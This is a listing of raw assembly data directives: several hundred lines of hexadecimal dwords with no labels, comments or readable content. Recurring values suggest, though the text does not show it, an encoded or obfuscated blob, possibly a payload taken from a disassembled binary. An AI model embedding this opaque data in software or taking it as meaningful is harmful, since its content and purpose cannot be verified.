dd 156EAD32h, 42532232h, 0F8613ACh, 0A8E5A3FAh, 129C652Bh
dd 5BE32D32h, 1A661132h, 156684BDh, 13E04B32h, 1A662232h
dd 156611B8h, 0E0E30332h, 7561BE33h, 1564A63Dh, 74061132h
dd 0EADCDA53h, 3C99BBCDh, 996978E5h, 1566112Fh, 0EDEDEE52h
dd 156657DBh, 0AC09D232h, 9F9AFEA4h, 461F7223h, 0B9A5C95Fh
dd 0CD4F1CCBh, 5DE32A53h, 1A6E89C1h, 15667EB7h, 1DE12D32h
dd 1A661132h, 15668ABCh, 9E072432h, 0EF4D73B7h, 128FE435h
dd 75668832h, 25CCFD69h, 0A833752Ch, 15661133h, 0FC3B6733h
dd 15664439h, 9D7A59ABh, 880073A0h, 2E8BBBE6h, 149508B7h
dd 37E32D3Ah, 0E0661132h, 37630DB9h, 730643C8h, 7569FB88h
dd 749FFDB8h, 0EADED853h, 3C99BBCDh, 9F067AF5h, 0EFED77CCh
dd 45E3B353h, 1A6E45C1h, 156613B7h, 9269ED32h, 1566883Eh
dd 1560C73Dh, 92692232h, 15661132h, 1EEB0DB9h, 0E09F43C8h
dd 0FCE7EDB5h, 0EA99EECDh, 128F47B5h, 82664432h, 0F34A99E8h
dd 905D1E57h, 1D677B66h, 1507C13Dh, 1A062232h, 156615B7h
dd 39D9EE32h, 0C6D94B66h, 7CE3A953h, 1A61EB1Bh, 15669BB6h
dd 18E84B32h, 0FC662232h, 1566113Ah, 67722976h, 62812830h
dd 10E19860h, 0D42C2A77h, 0FFE78AD0h, 49947135h, 0B88D0B3h
dd 0C24F7EECh, 1E18768h, 0FC664432h, 1566223Dh, 7C30B1B4h
dd 1EE996AAh, 81582E5Dh, 2EF8A251h, 149549B7h, 2CE3873Ah
dd 0EC664432h, 0AE3A7B9h, 996916C8h, 1566883Dh, 15664EDBh
dd 856CB832h, 3C110AA7h, 42BF3785h, 53381B64h, 1A06D5B5h
dd 156617B6h, 15E78732h, 1A664432h, 156623B5h, 0ED07E832h
dd 0E63A0D09h, 90694C33h, 1566224Bh, 48F7152h, 0A3668832h
dd 0D193B882h, 3CAE8A5Fh, 1444E5C0h, 22468776h, 1566C33Dh
dd 9E072232h, 78F70C9h, 0B5668832h, 0FE654435h, 0B74D708h
dd 0FCFC6BB3h, 0AEA3BF34h, 0F8E3CFB3h, 0FC61D838h, 15661126h
dd 0C1212DEDh, 0D2219A4Fh, 0E13238A6h, 0D1A9F3AEh, 0CE269F4Dh
dd 119914A5h, 75F17A16h, 1AB9AE3Dh, 15668DBCh, 0DBE72232h
dd 0FC0785BBh, 15661137h, 0EDBD124Eh, 75E37F05h, 1A6E23C1h
dd 156628B7h, 9E9E7D32h, 0EF6D7DB7h, 1575CB35h, 57561132h
dd 64D957ABh, 0E73A3940h, 3587E5Bh, 0CE899AB2h, 0EADFD94Dh
dd 3C99BBCDh, 1E8F7BFDh, 0CC661132h, 2E4019AEh, 0D9FC2B89h
dd 905D36C7h, 1D67E256h, 15420D3Dh, 98694432h, 1566223Eh
dd 1560973Dh, 90698832h, 15664432h, 3D03A7B9h, 740616C8h
dd 0EA993163h, 0DA4FBBCDh, 905DD76Bh, 129C095Fh, 15480D3Dh
dd 9E934432h, 0EF70BBB7h, 0D2E77135h, 260A31FCh, 156654DBh
dd 98291D32h, 8B54D8AFh, 0DDBC3A45h, 81E87F59h, 0A8334301h
dd 0EA99EECDh, 0EC3B671Bh, 0E60EC109h, 90692A33h, 15661104h
dd 1567023Dh, 9E9A4432h, 0EF4FABB7h, 0AD36E935h, 15668833h
dd 1A3E8333h, 15663BB7h, 1572F832h, 5AA28832h, 3E8E2A0Ah
dd 0AFE67D40h, 0DADD4A58h, 2D0C1135h, 905DEDF1h, 1D67D196h
dd 15EA943Dh, 9B698832h, 15664438h, 156627DBh, 0A587F032h
dd 0A8E51543h, 1D67B79Eh, 0EE32D32h, 0FC661132h, 1566883Ah
dd 7922D481h, 89EA4E93h, 88FACB1h, 1A668FC8h, 156611B6h
dd 90EDDE32h, 129C203Bh, 15669ADBh, 54254B32h, 0FA1DE00Eh
dd 0BA671E39h, 5887FCAAh, 0FC39DF45h, 15662223h, 9E36A9EDh
dd 0E10BD0ADh, 77F7E485h, 38AB06D1h, 14DF404Ch, 14668832h
dd 68F1DFDh, 5F662232h, 48ADD636h, 0B731E1FDh, 5A56A553h
dd 2AD18BC6h, 905D1DB9h, 1D677B9Ah, 15E7C13Dh, 96692232h
dd 15661139h, 15668EDBh, 84DE1232h, 0EC792B18h, 0E6CAACB1h
dd 1A668033h, 156677B7h, 1569CB32h, 33B91132h, 163581Bh
dd 81626544h, 0C2722693h, 0FCDB9247h, 1561722Fh, 1527C03Dh
dd 188F2232h, 19661132h, 0DF2BBA6Ch, 0D54A994Dh, 28A2679Ah
dd 9EB94B9h, 1E8F8FC8h, 0B664432h, 250E54BFh, 0FB5D9AFEh
dd 0AB30994Dh, 15664433h, 0FC38D533h, 15661139h, 0DC33CECCh
dd 0D4BB5648h, 2E355E15h, 14957DB7h, 28E3873Ah, 1A664432h
dd 15662ABFh, 17E61E32h, 75668832h, 70E3CF53h, 0FC61D83Dh
dd 1566113Ch, 72BB787Eh, 0B76624E3h, 538D856h, 0AF3479E4h
dd 15668833h, 0FC3C9333h, 1566223Ah, 0F5D86EBh, 2786E223h
dd 0E616C109h, 90692A33h, 15661157h, 156E073Dh, 9D694432h
dd 15662230h, 95067052h
dd 9C6924C7h, 15664430h, 9E074352h, 0EF6770B7h, 156C6135h
dd 978A4432h, 2DA7B6D6h, 9E283052h, 15669BDBh, 88B73E32h
dd 0BE77BF97h, 288ADF09h, 20C6F37Fh, 0A9DEFFE4h, 3DB09F67h
dd 0D0E75B1Bh, 0A0B05F1Bh, 1A3BAB1Bh, 15662ABFh, 4BD27132h
dd 17783254h, 61E37F53h, 1A6E23C1h, 15662DB7h, 68FE832h
dd 7C664432h, 96C1E502h, 695629C3h, 89DCA38h, 7826BDF4h
dd 4506219Eh, 9E07706Ch, 0EF6B39B7h, 0AF002435h, 1A063F4Bh
dd 9E00D18Dh, 4507E9C8h, 0EA99BB8Ah, 4DA10BCDh, 6DE32ACEh
dd 1A6E89C1h, 15667EB7h, 90EDDB32h, 129C1DD7h, 1567093Dh
dd 0ED934432h, 0EA999961h, 0CA4FEECDh, 1A067D69h, 15665DBAh
dd 1572CB32h, 0A77B1132h, 639DA58Ah, 8148B06Ch, 154E15A1h
dd 2EDAB6A8h, 2E07263Bh, 149538B7h, 21E32D3Ah, 1A661132h
dd 156684BBh, 13E34B32h, 1A662232h, 156611B0h, 0FCE30332h
dd 7561BE16h, 2695A354h, 74BB9B39h, 0EA993361h, 0CA4FBBCDh
dd 1563CB69h, 71631132h, 2EA78DE5h, 1495C4B7h, 94E32D3Ah
dd 75661132h, 15630F3Dh, 4ED84432h, 9F20DF08h, 916970ECh
dd 1566882Bh, 156AAD52h, 0B1C82232h, 1DAA3EBh, 0CE05155Dh
dd 9F696971h, 15662232h, 0C0E39A53h, 1A617230h, 156649B6h
dd 9D694232h, 15661132h, 3B4E18Ah, 0AB30252Dh, 0EA99DDCDh
dd 0FC38E61Bh, 15668821h, 37905D8Fh, 217AC509h, 7DE07340h
dd 4DE5E12h, 75046F4Ah, 156DCACEh, 0EF8F1132h, 0FEEED3D3h
dd 0E2168CBBh, 0FBE74407h, 743850E7h, 91697739h, 15664419h
dd 0F996CBCAh, 1E8FEECDh, 0C9668832h, 4070899Dh, 77F8156Bh
dd 58FF708h, 0B0668832h, 46F16589h, 14AE5281h, 0EB356580h
dd 2EB5233Bh, 0EF7029B7h, 8E32D35h, 1A661132h, 156682B7h
dd 0E7ED2432h, 32DEC8B3h, 98070C34h, 142618B7h, 0B68FB83Ah
dd 0E099DDDEh, 4AB9409h, 90698FC8h, 15664497h, 157EAB3Dh
dd 9C691132h, 15668820h, 156649DBh, 0D460F932h, 1DA45208h
dd 0ED03C18Bh, 96937C23h, 1494EE8Fh, 9069103Ah, 1566884Bh
dd 16E64B52h, 1A662232h, 9807EA8Dh, 4C6DEFB7h, 9E692432h
dd 15662226h, 15661EDBh, 0D7941F32h, 8609AE93h, 77D2E912h
dd 97A5EDAh, 156698DBh, 0DE656432h, 99FABC3Bh, 0F2AD701Eh
dd 5135D25Eh, 0FC062533h, 15662237h, 37633FB5h, 1F8FE81Ah
dd 4A664432h, 0B158589Fh, 525BFF5Bh, 0DDEDEECEh, 168F2553h
dd 1A99DDDEh, 15661DB1h, 13E78732h, 1A664432h, 156622B9h
dd 0C9E32A32h, 1A6E89C0h, 15660BB6h, 128F4232h, 98661132h
dd 0BDD71200h, 138F632Eh, 0F3662232h, 0D5E63442h, 9406E98Eh
dd 0D20A0FFBh, 10E42D6Dh, 0AB661132h, 44BE6BA8h, 0F5E37F53h
dd 1A6E23C0h, 156637B7h, 15746132h, 0DD8B4432h, 0C0A37346h
dd 823D97D5h, 4F2FCEFh, 54ABB4EEh, 0EA8DB3DBh, 11E11ECDh
dd 75668832h, 7D074883h, 15662232h, 1572F86Ch, 2AD68832h
dd 8F2596B8h, 5CE0E78Ah, 63620A56h, 8E0E5F63h, 969E823Ch
dd 906923CCh, 156611F6h, 15669BDBh, 0AF0FFC32h, 0D5557BBBh
dd 752FAB1Bh, 32DC2F3Ah, 0CD1B925Dh, 0E7B6A709h, 90691933h
dd 1566880Ah, 0D1E3C9CBh, 1A667AB5h, 156616BBh, 14E38732h
dd 0E0664432h, 0EA8D03DBh, 1B8E71CDh, 94668832h, 0B3B94EE1h
dd 15959E2Dh, 62D5798Dh, 9369D183h, 15664431h, 74BFA954h
dd 0E7B29409h, 90698033h, 15664429h, 2FE3AFCBh, 1A6649BAh
dd 156680B1h, 17E14B32h, 75662232h, 0FFBAF853h, 2E9377CDh
dd 14949CB7h, 20E32D3Ah, 75661132h, 18AC58B3h, 98076A74h
dd 4DEE5DB7h, 1DE61E32h, 75668832h, 0AD001C63h, 0FC07614Ah
dd 0EA99FB9Ch, 15680A3Dh, 0FD064432h, 15662237h, 0D78A9403h
dd 749FD079h, 3162C562h, 147D1577h, 964215B9h, 504B8CF6h
dd 0FC675F05h, 15662222h, 46758F44h, 1DD66A5Dh, 5F024A5h
dd 0A0DDEECh, 156F903Dh, 73068832h, 1F369EB3h, 45074352h
dd 0F87C688Ah, 3AC8365Ah, 0D357211Bh, 6588A36Ah, 0E2757B07h
dd 0DD8009ECh, 5B372900h, 0D81DE4B3h, 1E9FEFE8h, 6E387C4h
dd 0E0664432h, 0EA8C03DBh, 156EF8CDh, 0B1CF8832h, 9E1A7B60h
dd 0BC0E9939h, 9C66114Ch, 21E7AC36h, 8D67D116h, 0E3E77C1Fh
dd 38FE10A7h, 3CD301C7h, 0FC61BE16h, 1566223Ch, 429F9693h
dd 72CBF280h, 0DE58CF13h, 0FC06B9C8h, 15661135h, 835268AEh
dd 0FDAF5C8Eh, 15662222h, 0E8406AE9h, 0AC041F08h, 7F647CF1h
dd 4F592241h, 0A0EF706Dh, 129CADDFh, 0FC58C4C7h, 1463A73Dh
dd 9E691132h, 1566882Bh, 1575C73Dh, 1B8F2232h, 82661132h
dd 0D796C389h, 27946315h, 1B39E2EBh, 1410EEF0h, 12DD3062h
dd 514F7310h, 4A3E2616h, 12DDD6B3h, 0AA06BF10h, 647E8CC0h
dd 1566A93Dh, 0E0071132h, 29C53260h, 0CF910AEFh, 0E7E7F8C5h
dd 594D620Ah, 143C5F1Bh, 8EA1C5C5h, 7564D47Dh, 1564903Dh
dd 0AED18832h, 741FB6B2h, 317AA964h, 1A62D5B1h, 156681B6h
dd 61D82432h, 9E7E83D1h, 1D8F70C9h, 93668832h, 42BFC7BDh
dd 452BC5A0h, 1526118Ah, 0DE8D0932h, 14138619h, 0DEA5A3F1h
dd 4D13D319h, 156682DBh, 1413BE32h, 8A2619E7h, 2E21A1D5h
dd 0EF42A18Fh, 36E44B35h, 0FC662232h, 1566113Dh, 20BD1565h
dd 0A5F2312Dh, 91521C38h, 2E0D2F19h, 39E087C9h, 1A664432h
dd 156623B3h, 0DE8FE832h, 1A9977DAh, 15665EB1h, 1E32D32h
dd 0FC661132h, 1566883Dh, 23B38EB1h, 9F37112Ah, 0DC50F566h
dd 9E024B37h, 0EF61AD8Fh, 1DE72D35h, 1A661132h, 15668AB8h
dd 0D2072432h, 0EF52E7B7h, 15661135h, 1A067D32h, 156650B8h
dd 1C8F4232h, 0AD661132h, 4496188Dh, 0E84562BBh, 0F8729B54h
dd 0F8D39853h, 75617217h, 156650DAh, 298ABD32h, 0E8F829EDh
dd 167BEED0h, 8ADEA0C4h, 0CC33B49Dh, 7439E453h, 0B8FB05CBh
dd 0E06E464Ah, 0A106F1CDh, 0D56D7039h, 15230C3Dh, 0FC064432h
dd 1566223Eh, 5FD82A89h, 1B2872C6h, 3418DD31h, 1560AB3Dh
dd 90691132h, 15668832h, 1F8F2453h, 71662232h, 29BC1F55h
dd 0D108B4BFh, 0A0DDFEDEh, 0FC076FCFh, 15661145h, 15668EDBh
dd 6CBAEC32h, 984D076Fh, 0EADD7CAFh, 15756135h, 0A8C84432h
dd 0D2E16D6Bh, 0A2BFB266h, 71BEDFDDh, 559B404Ah, 0C699D773h
dd 0EA3D923Dh, 1B8F77CDh, 0BA664432h, 431422A2h, 0F1879C79h
dd 0BE231DFh, 0A0EDBD71h, 129C07DFh, 9DB89052h, 7402CD78h
dd 21A3F1BBh, 989E25C8h, 15DD29AFh, 19E2873Ah, 1A664432h
dd 156624B1h, 15E81E32h, 0EA668832h, 9E93BDE1h, 0EF420BB7h
dd 90EFE835h, 129CADDFh, 13E64B52h, 94662232h, 0CE2F7AC0h
dd 74077D62h, 156657DBh, 0A226C132h, 0C49946AEh, 23831CDAh
dd 0ABFF87DAh, 0F5A4092Ah, 1A8E2FB2h, 156782B7h, 14E34B32h
dd 0E0662232h, 15B3ACB1h, 1A668FC8h, 1566B2B6h, 9E694232h
dd 15661130h, 0AA69D687h, 0A33425F1h, 95B8D441h, 9D354DF4h
dd 4EBE00C1h, 58F2468h, 90662232h, 72CD0C0Ch, 2A18E76Dh
dd 256712FAh, 0FD1EF39Dh, 15661126h, 52A3D34Eh, 9B99CA86h
dd 64644BA2h, 7512986Dh, 2AA410BFh, 75CC256Ch, 0A7B49D3Dh
dd 9C37708Bh, 9EAE01C3h, 0D1E7603Eh, 15662236h, 231D3CC7h
dd 0ED4F9E2Ch, 231DFA64h, 0E567342Ch, 7EB1E6Ch, 0FC668832h
dd 1566443Fh, 5E9F31FEh, 8B25273Ch, 5C12A824h, 11DD1758h
dd 3C662232h, 317A9AEAh
dd 0FC624CB1h, 15664420h, 0D6FA0185h, 0B845C79Fh, 8F32A804h
dd 0E05AA671h, 75CD3A36h, 0A797AE3Dh, 7306E9EBh, 0DC9D96B3h
dd 15662ADAh, 642B9232h, 9D475AA2h, 1577AD53h, 2A2232h
dd 845F125Ch, 52A4D88Bh, 0DD3E4C9h, 4D5D705Ah, 170FF853h
dd 99698832h, 15664435h, 72B5A252h, 98074A62h, 1738F8AFh
dd 156FAD3Ah, 19F12232h, 371938BDh, 759BB418h, 0D2E72262h
dd 73385CB8h, 74A4488Ch, 1C8F5BCDh, 89664432h, 743AD840h
dd 9E25E8E9h, 661B15BFh, 95694C30h, 1566223Ah, 1564913Dh
dd 74068832h, 108F97CDh, 47662232h, 7A124A1h, 90694839h
dd 1566447Ch, 0E7E74252h, 7D252C6Ah, 0FC07D265h, 15664422h
dd 78C8DCACh, 7B81BCC8h, 0F6C6118Fh, 0CB1C0950h, 152CCB53h
dd 48F1132h, 0D4668832h, 5E8CA172h, 15213393h, 67FD171h
dd 548E5C26h, 156ACF3Dh, 99692232h, 15661134h, 1566083Dh
dd 90E54432h, 129C07DFh, 1576F837h, 3AD78832h, 0AA2A8A69h
dd 996B4DF6h, 0AA76AC9Dh, 308F514Ah, 0E999BBCCh, 600CBFBFh
dd 1F8F1930h, 0AA668832h, 81944D35h, 1971F9F5h, 0FCB5EE3Dh
dd 15668826h, 64FD4571h, 8E420324h, 0DB80A638h, 9AA0C303h
dd 998872F1h, 9069E239h, 1566110Eh, 156699DBh, 0CC32B132h
dd 1A3A4A70h, 8D7097FAh, 267AFC77h, 238FA307h, 0FC662232h
dd 1566113Fh, 1E6D3365h, 892F2A09h, 0A1C01013h, 1CE51E6Dh
dd 75668832h, 62DC8CB8h, 74200F77h, 1562AF64h, 0E7678832h
dd 964270B9h, 0FC9E26F6h, 15661039h, 78FB05CBh, 0EC61BB89h
dd 0C6ED4452h, 0C69970CEh, 15200B3Dh, 128F4432h, 0A7662232h
dd 7824ED55h, 0AD067594h, 46217BEh, 0A0ED43CEh, 129C34DFh
dd 78FDF52h, 0BF664432h, 0C9C936Eh, 0CA9F2EC7h, 0C1212DEDh
dd 0D2219A4Fh, 8BDE7BA6h, 74336265h, 154A67DBh, 14E84B32h
dd 0ED662232h, 308B9CB9h, 9C9A8FC8h, 0EF43A987h, 0AE35D735h
dd 1F210F90h, 5E606BF3h, 1CFF87B3h, 0E6E737D0h, 0C129D902h
dd 3C3D511Bh, 3DA7C5C3h, 0FC15C448h, 1566113Ch, 2C6D5912h
dd 7A8DF2FBh, 0E1276978h, 922F2A79h, 92B57FEBh, 156FADEBh
dd 0E4F22232h, 119E2359h, 4456864Fh, 8E60148Bh, 87A7A347h
dd 94223157h, 0E928CFF3h, 0DCE70D5Dh, 0CD47EAh, 0E5DDE0B3h
dd 0DB67C391h, 94A86D6Bh, 96961DCh, 0DBEC7144h, 0FCBF0954h
dd 0B19525DFh, 749EDA52h, 0EA9ABADBh, 9400E8CDh, 46AFCFDAh
dd 1A077CCAh, 15661BBEh, 0C5EDE832h, 1566CE3Dh, 98072232h
dd 15DB2CAFh, 0C699713Ah, 1569AC52h, 1B052232h, 0A766C10Ch
dd 898C944Fh, 4A95ED2Ah, 4F0742A9h, 156600DBh, 0A4D3B32h
dd 0D1E1C2D9h, 0D835FBC5h, 0B88B81C0h, 7D0791E2h, 15666A18h
dd 4D421EBBh, 0FD3D4152h, 15668826h, 3539963Ch, 7AA7F715h
dd 6D97D272h, 0A360BE39h, 0C1880A28h, 743FFDB9h, 128F9419h
dd 98698FC8h, 15664433h, 18E52DCBh, 75661132h, 0DAAD348Bh
dd 3281C542h, 746E7674h, 202394BBh, 1E8F8FC8h, 0BB664432h
dd 0D670B1B7h, 3F1F92DDh, 90EDCA93h, 129C43DBh, 0F3EF74C7h
dd 1562D7B3h, 0FBE58832h, 3152C336h, 315AAB6Eh, 767479CAh
dd 11EF8832h, 14E54B16h, 0ED662232h, 0AAA99CBFh, 128F8032h
dd 20664432h, 0D80F4782h, 0EA9A5412h, 0BDDCE8E3h, 0FC5CC6D0h
dd 1566223Fh, 7FC7535Ah, 0F6DFCA22h, 9FE35BF7h, 108F4332h
dd 0F661132h, 9400D66Ah, 0B7BC1B9h, 9F6925C8h, 15661133h
dd 0F3EFDECBh, 156282B3h, 0FBE72232h, 15661136h, 4942BCB5h
dd 0E94240BBh, 150B365Ah, 315A9832h, 0CED18752h, 74B9CF54h
dd 128FA7B9h, 78F16C8h, 25668832h, 9D5832A9h, 0F4D282C6h
dd 7D674F3Fh, 0F1189A27h, 0F3EF12B2h, 1562E4B3h, 0FBE51132h
dd 31520F36h, 3162CD6Eh, 15662CDBh, 0D1BB7632h, 0D7951E27h
dd 5392F26Ah, 98A19E41h, 15A71CBFh, 8EE873Ah, 75664432h
dd 18FF4B9h, 63661132h, 0ADCA758h, 2F95CA52h, 69FE059Fh
dd 0E6B69660h, 74EC6766h, 916995CDh, 1566222Bh, 156605DBh
dd 7707CD32h, 47CE7321h, 5387FD49h, 6EA165B4h, 75E88740h
dd 59F12C15h, 11EF2232h, 98694B16h, 15668833h, 1A0624CBh
dd 9069E285h, 15661132h, 0F7A00953h, 74464502h, 1562CEB3h
dd 11EF1132h, 1F8FD116h, 68664432h, 0AE18F187h, 0A587F0F2h
dd 8EBA343h, 1A61BE2Ch, 15662AB6h, 0AD007132h, 23D76528h
dd 4DBC753h, 1561D839h, 150A953Dh, 188F8832h, 74664432h
dd 4F9ABD7Dh, 25A03371h, 35ADC408h, 34BFC1B9h, 3E9E25C8h
dd 0EF6D00B7h, 0D45D7435h, 1522C23Dh, 90692232h, 1566113Ah
dd 15640F3Dh, 74064432h, 24ABA7B9h, 169A16C8h, 0EF6D99B7h
dd 90EFB135h, 129C348Bh, 1567903Dh, 0FC938832h, 156645C0h
dd 156ECA52h, 1D6B1132h, 0CB5C6218h, 0A26933D4h, 0C5E67BFBh
dd 6A0E7023h, 9C668816h, 7306603Eh, 74431B88h, 314A9063h
dd 5998C71h, 964240B9h, 566326F6h, 0ED76EE36h, 0EA993260h
dd 0C567BBCDh, 0F9E7D768h, 15661136h, 0AC4284BBh, 15664BCDh
dd 1A3FEA3Bh, 15661DBBh, 13E28732h, 1A664432h, 156622BFh
dd 4D344132h, 0FCF4CA68h, 15664420h, 4FAA137Bh, 4C430A01h
dd 0E9DAD2D5h, 0ED0D4373h, 90EF1F15h, 129C30EBh, 94E389CEh
dd 7561BE19h, 1564AA3Dh, 0CFD31132h, 11905AB3h, 0D20747F9h
dd 0EF6D33B7h, 15661135h, 8E68732h, 75664432h, 156632DAh
dd 196F2832h, 8A7B82EBh, 833783C8h, 0DD3D0325h, 94004FB0h
dd 7412BCFAh, 156FC13Dh, 73062232h, 5C2FF7B3h, 7F07D260h
dd 1FE04B72h, 0FC662232h, 15661137h, 790414Bh, 5662CF3h
dd 9D692232h, 15661135h, 1567063Dh, 479F4432h, 0D7E7C0BBh
dd 15661136h, 156262B3h, 1E14432h, 19EF7E16h, 156AF816h
dd 3CA78832h, 64463D5Bh, 838E315Fh, 150CE6FAh, 15669BDBh
dd 2D2EFE32h, 1DC891E3h, 0A41CBF07h, 100E99BAh, 3772558Eh
dd 1EE3B7CDh, 9E0616C8h, 4BD9EEF4h, 1A8F25E4h, 8B662232h
dd 9820F78Dh, 65BEDB1Ch, 7BE78E55h, 80993F05h, 129C054Fh
dd 156680DBh, 69F98B32h, 2C1EBD59h, 0FEA1E1Ah, 75668832h
dd 1566CB3Dh, 188F2232h, 0FE661132h, 0EF115EABh, 0A285A75Dh
dd 0FF15D6FBh, 0D8E39853h, 75617203h, 156656DBh, 5DBC1032h
dd 0CDD10D6Ah, 19D6AEF6h, 64597964h, 74290EC0h, 15661BDBh
dd 5B0B3232h, 186B928Dh, 9CC66A80h, 0EF70A8B7h, 0DE08735h
dd 1A664432h, 156630B5h, 156BF832h, 0E5EB8832h, 6F9BA206h
dd 700A6ADCh, 0EA84899Fh, 943FAC06h, 156640F6h, 0A099DE32h
dd 129C078Bh, 8D377CAh, 7561BE2Ch, 4707DBCAh, 0D7E7F3BBh
dd 15668836h, 1562AEB3h, 1E12232h, 29EF4D16h, 4706E816h
dd 91BDC569h, 742783D2h, 0E547CBB3h, 0EA07E7DCh, 0EF61AD87h
dd 0A2694235h, 1576F8C5h, 95C88832h, 0B8019D01h, 0B5C00420h
dd 8FFA1D84h, 9807FDC9h, 15BF3EB7h, 1EE52D3Ah, 0FC661132h
dd 15668834h, 9766C457h, 0C5998402h, 156614DBh, 0C00D6A32h
dd 98676B5Fh, 129C2923h, 0ACDB9ACEh, 75617224h, 156643DBh
dd 0AB592632h, 37DB7054h, 8D30353h, 0ED61BE2Ch, 759F86C1h
dd 1564993Dh, 0D4D08832h, 9E0795B8h, 0EF45DB87h, 0FCCBED35h
dd 15668823h, 0EE69618Bh, 0E013149Ah, 0AE383671h, 0AE80C252h
dd 0C60E159Ah, 4C3BA11Eh, 0E287C07Bh, 4E9709E3h, 4422BD94h
dd 7A420EB3h, 9A635200h
dd 53E77474h, 56542BCEh, 0D4937B37h, 946914F2h, 1566883Eh
dd 7EDF2252h, 6A88A320h, 746A901Dh, 0CC23E061h, 143D6B7Eh
dd 1A0679EAh, 156608B5h, 15726132h, 83874432h, 61EC53D5h
dd 0ADF62659h, 89A9C289h, 4CB51AFDh, 749338A7h, 1CF9431h
dd 1D8F8FC8h, 43664432h, 744ECC28h, 0FC5EC0DDh, 1566883Eh
dd 0C788609Ch, 1ECC00CDh, 0AA04044Ah, 3DF05B9h, 9E6943C8h
dd 15662233h, 20BE79C7h, 19EF8832h, 3152C516h, 62F155C4h
dd 25E711BDh, 62F1FFC4h, 15664BDBh, 0F0BEC32h, 8775FE21h
dd 0C0DDE179h, 88164A8Fh, 0AE35D79Fh, 0EA99EECEh, 16A17B33h
dd 2E913D9Ah, 1DE209B3h, 3EE77DDFh, 0DA6CF916h, 1569AD69h
dd 8F612232h, 0B6CC1BC6h, 59A972E5h, 2B30FBFCh, 0ECD3ABDAh
dd 7561EB11h, 4C3447B9h, 0EA9EC753h, 15A5A73Dh, 58F1132h
dd 0AE668832h, 0A70C3F2Dh, 0AD89B01Dh, 27F06372h, 94BC4147h
dd 0C8BB990Ch, 0B7E32DEFh, 75661132h, 0FEA50954h, 16E24BCFh
dd 95662232h, 1A0756F3h, 156689B0h, 1C0EB132h, 9C66223Eh
dd 5EDE3536h, 1047E71Dh, 0CBF69487h, 753E24BBh, 1561F952h
dd 556D8832h, 6BB276FDh, 0DAED7804h, 0E4ED7753h, 110ED953h
dd 4C664432h, 1A3FEC33h, 15661DBAh, 15616132h, 0DA444432h
dd 0F2680836h, 0ECD3988Bh, 1A617211h, 156645BAh, 448FD732h
dd 7599EEE0h, 5BBD0954h, 156FADC8h, 93C12232h, 70201F29h
dd 74AC749Dh, 1571C33Dh, 78F2232h, 0ED661132h, 1C13FACBh
dd 0D317AF22h, 46FCA6F7h, 776709B6h, 16A64941h, 0BCE347CBh
dd 0FC61D826h, 1566113Eh, 8941A999h, 265D1A95h, 158AC118h
dd 131FACB1h, 1A678FC8h, 156522B6h, 0EC06DB32h, 0BF589053h
dd 1ACC2298h, 1566D1B7h, 156BCB32h, 0A2C81132h, 0CB98C698h
dd 0F094E430h, 45EF8176h, 1566158Ah, 9EA08932h, 0D1E76036h
dd 15662236h, 15661CDBh, 0BDEDE332h, 0B14EFF54h, 0B5C85911h
dd 53A1AE9Ch, 0EB0273CEh, 23D91344h, 9462DC36h, 0B54F5FF5h
dd 9C890947h, 3C65DBFAh, 1A39DE4Ch, 156600B9h, 156A6132h
dd 9F8E4432h, 5E056FA7h, 0CABE69EAh, 0F9E5A956h, 3162CD36h
dd 1A397A65h, 15661ABDh, 0CCE7E832h, 70BFCAA4h, 7401E8B2h
dd 9D8FA360h, 317203E2h, 0ED6280B1h, 156664DBh, 4236E932h
dd 315A036Ah, 156280B3h, 0FD062232h, 1566113Dh, 0F7AC965Fh
dd 0A44EDACFh, 5AD4E8FCh, 7310C7D4h, 743C57B9h, 63262C54h
dd 3172AB54h, 0C5EEF980h, 198FD254h, 31664432h, 0D78F5CA3h
dd 88CC5594h, 7DA81582h, 1566714Fh, 0EC4226BBh, 0FCDB92C7h
dd 1461722Fh, 1441C03Dh, 0AC062232h, 1D1535FDh, 1565013Dh
dd 0C0E64432h, 18F4393h, 37661132h, 0A64476F8h, 0DABA7203h
dd 313268ACh, 87DE905Eh, 44584840h, 520ADF8Bh, 4CAEAB3Fh
dd 382EC1C5h, 0E7DE1A51h, 0A8E5BDCAh, 1D67D0DAh, 30E21E32h
dd 0E9668832h, 0F8CAD9BFh, 58F2A32h, 0FC661132h, 75AE1127h
dd 0E56DE6A3h, 6CF9D030h, 0EA6FC27Ch, 4537E8E1h, 0EC071B6Dh
dd 1AF61DB2h, 156629B6h, 19EB8732h, 1A664432h, 156624B3h
dd 15EE1E32h, 40668832h, 1566418Fh, 9E892332h, 0D1E5351Eh
dd 0DD8F7036h, 1A664433h, 15662EBDh, 13E91E32h, 1A668832h
dd 156644B6h, 459EA132h, 1509933Dh, 9B698832h, 1566443Bh
dd 0C4ED4452h, 933CAA54h, 85D0DA53h, 1EDB4BAh, 11A2A116h
dd 9069BBCBh, 15668834h, 0A269BC52h, 11ED43F3h, 0F7EF4316h
dd 15624AB3h, 0D7E54432h, 3172A536h, 156EF86Eh, 836F8832h
dd 227C4D4Dh, 1ACC551Bh, 156619BEh, 17E78732h, 75664432h
dd 15A3CB53h, 1B8F1132h, 0A4668832h, 749F9D4Fh, 0CACE98FCh
dd 997BA8C6h, 315277EDh, 11A2C56Ah, 0EC662232h, 6AE6ED98h
dd 906961CDh, 156644A9h, 1561A23Dh, 91691132h, 15668833h
dd 9E0024CBh, 156FCBF9h, 0EEF91132h, 698F78AAh, 7446B8BFh
dd 0E78E9FB1h, 1A661933h, 1566C4B6h, 78F2432h, 0B1662232h
dd 32B5794h, 656AE2E7h, 0E40F55D9h, 0F7BAB914h, 9807E4BDh
dd 158A2DAFh, 9269243Ah, 15662237h, 6FB09054h, 1563615Fh
dd 0B1CA4432h, 7465F285h, 0FC06C2CDh, 1566883Eh, 0EB136D77h
dd 83796289h, 0EA9DC5F7h, 118A0953h, 9C664432h, 11DD062Eh
dd 14661132h, 4E6500C9h, 15664EDBh, 6CAF5032h, 0CD4EAEF2h
dd 9E7D701Dh, 0EF70FDB7h, 1A06DA35h, 156617B6h, 0D7A00932h
dd 956A79F5h, 46071FC7h, 3C756189h, 0D8D093Dh, 0E20F1653h
dd 0E48DA3E9h, 14942EEEh, 0ED4FD3EAh, 0FC16F31Fh, 3ED2D55h
dd 0FC661132h, 15668823h, 2E56894Bh, 433B92EFh, 0DB99DFBEh
dd 0BA45305Ah, 11DB1138h, 10662232h, 5EC76D6Eh, 494B601Bh
dd 482DE54Eh, 156627DBh, 6010A132h, 75CD0107h, 1186C554h
dd 1568CA2Ch, 0CB131132h, 3932BA7Dh, 692394DBh, 0A19E607Bh
